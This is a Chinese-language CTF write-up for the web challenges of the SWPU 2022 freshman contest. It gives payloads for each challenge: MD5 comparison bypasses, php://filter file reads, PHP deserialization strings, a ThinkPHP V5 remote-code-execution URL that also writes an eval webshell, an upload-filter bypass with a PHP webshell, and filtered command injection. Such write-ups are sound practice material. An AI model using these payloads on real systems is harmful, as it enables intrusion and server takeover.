SWPU 2022 新生赛--web题

奇妙的MD5

进入靶场

然我们输入一个特殊的字符串,然后我到处翻了翻,发现有提示

在MD5中有两个特殊的字符串

复制代码
0e215962017       //MD5加密后弱比较等于自身
ffifdyop          //MD5加密后变成万能密码

这里明显就是万能密码了

输入之后就来到了这个页面

源码里面就有想要的线索

复制代码
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;
-->

这个就是简单的MD5弱比较

输入?x=240610708&y=s878926199a即可

输入之后又是一个代码审计,这个就是强比较了,数组绕过即可

ez_ez_php

进入靶场

一个简单的代码审计

这个代码的意思是说前三个字符必须要是php

那就用php伪协议

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

先进行base64解密

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
​
​
echo   "NSSCTF{flag_is_not_here}" ."<br/>";
echo "real_flag_is_in_'flag'"."<br/>";
echo "换个思路,试试PHP伪协议呢";

解密出来是这个

然后提示说real_flag_is_in_'flag',那么payload

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag

base64解码

NSSCTF{4be155fb-6428-4f0c-ae04-4adc2cb1199a}

ez_ez_unserialize

进入靶场

这个反序列化题主要是如何绕过__wake魔法函数

先将这个序列化

__wake魔法函数的触发条件是在进行反序列化之前触发,因此只需要修改参数就能绕过

payload

复制代码
?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_rce

这个题目没什么好评价的,漏洞复现而已

先进入靶场

目录扫描之后,发现robots.txt文件

进入之后发现新大陆

然后来到这个页面

然后搜索ThinkPHP V5漏洞复现即可

payload

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami            //这个指令可以用来命令执行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cmd']);?>
//这个指令可以用来写马

连上蚁剑后

flag在/nss/ctf/flag/flag

Ez_upload

进入靶场

有一个文件上传框

首先,直接上传php文件

上传png文件并抓个包试试

"你上传的什么鬼?",这个应该是对Content-Type做了过滤,或者对内容做了过滤,先把内容全部删掉测试Content-Type

也传不上去,一顿测试之后发现filename=muma.png并且Content-Type为image/jpeg才能上传

那么将一句话木马传进去

又出现了"换其他类型",那就是对内容做了过滤,尝试之后发现对<?做了过滤,payload

复制代码
<script language="php">eval($_POST['cmd']);</script>

上传成功

但是怎么才能让这个执行呢,后缀名不能为ph,那么就可以传.hta文件,上传之后用蚁剑连接muma.png即可

然后在终端输入env即可出flag

funny_php

进入靶场

一上来就是长串的代码审计

但是看了一会发现这个可以分几部分,那么就一部分一部分的解题

第一部分

if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    } 

这个地方需要num小于等于3并且大于999999999,这个地方用科学计数法绕过就行

payload

复制代码
?num=3e9

第二部分

php 复制代码
if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    } 

这个地方需要让str的值为NSSCTF,但是又将NSSCTF代替为空,双写绕过即可

payload

复制代码
?str=NSSNSSCTFCTF

第三部分

php 复制代码
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    } 

这个代码看着很长,其实就是个弱比较,只要全是字符串就行

payload

复制代码
md5_1=QNKCDZO&md5_2=240610708

funny_web

首先进入靶场

这个属于一个签到题

账号:NSS

密码:2122693401

进来之后简单源码审计,很简单的过滤方法

输入?num=12345a即可

js_sign

进入靶场

只有一个框,题目提示说看js文件

这里已经出现flag了,将这串数字去掉空格之后变为

复制代码
3343431344215434452124331421311122125444113513341415

解码之后

flag就出来了

最终答案

复制代码
NSSCTF{fyoufindflagbytapcode}

numgame

进入靶场

我第一想法就是把这个点到20,但是加到16之后再加就直接跳到-20了,这个做法明显不太理智,然后我想查看源代码,然后可恶的出题人把右键和ctrl+u都给ban了

那就用view-source大法

view-source:http://node5.anna.nssctf.cn:21933/

查看js文件

在nssctf里面有一个base64加密后的文件

解密之后为NsScTf.php

进入这个页面

这里过滤了n和c,但没有大小写过滤,先访问hint2.php吧,题目提示与get相似的另一种请求,那应该就是post了

ps:在编程语言中,双冒号运算符(::)可以用来访问类的成员,包括静态成员和非静态成员

因此,以post的方式执行命令就行

payload

复制代码
p=nss::ctf      //表示访问nss类下的ctf成员变量

执行之后他告诉我类是nss2,那就改一下payload即可

复制代码
p=nss2::ctf

执行之后查看源码就能得到flag

webdog1__start

这个题目还是挺有意思的,有许多的提示隐藏了

进入靶场

这里有两种方向,查看源码,又或者去扫目录,首先走第一步,源码里面有东西

复制代码
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first))

MD5加密后与原来相同

那就是0e215962017

输入?web=0e215962017

来到start.php页面

将里面的所有地方都点过了,并没有什么有用的地方,但网络层给了提示

进来这个页面后同样网络层又给了提示

进入F1l1l1l1l1lag.php目录内,来到了最终的地方

进行源码审计,利用点在eval,但是将空格和flag字符过滤了,空格可以用%09过滤,flag可以用通配符过滤

payload

复制代码
?get=system('tac%09/f*');

第二种方法就是扫目录

就可以跳过前两步,直接进入robots.txt找答案了

里面是乱码,乱码修复即可

后面的步骤都是一样了

1z_unserialize

进入靶场

这个是非常简单的反序列化了

构造php

输出结果为

复制代码
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

ls的结果出来了,修改参数找flag就行,payload

复制代码
nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"tac /flag";}
相关推荐
索然无味io29 分钟前
组件框架漏洞
前端·笔记·学习·安全·web安全·网络安全·前端框架
yaoshengting1 小时前
OAuth1和OAuth2授权协议
安全
Andya_net2 小时前
网络安全 | F5-Attack Signatures-Set详解
网络·数据库·web安全
Z3r4y3 小时前
【钓鱼】基于office的一些钓鱼技法
网络安全·office·钓鱼·宏病毒
黄同学real5 小时前
实现一个安全且高效的图片上传接口:使用ASP.NET Core和SHA256哈希
安全·asp.net·哈希算法
wit_@5 小时前
深入理解SSH:安全远程登录与高级应用
linux·运维·web安全·ssh·kail
仇辉攻防10 小时前
【云安全】云原生-Docker(五)容器逃逸之漏洞利用
安全·web安全·网络安全·docker·云原生·容器·安全性测试
金灰14 小时前
Linux文本处理三剑客:awk、sed、grep
linux·运维·服务器·chrome·安全
vortex515 小时前
Windows 靶机常见服务、端口及枚举工具与方法全解析:SMB、LDAP、NFS、RDP、WinRM、DNS
windows·网络安全·渗透测试
希望奇迹很安静16 小时前
CTFSHOW-WEB入门-文件包含78-81
学习·web安全·ctf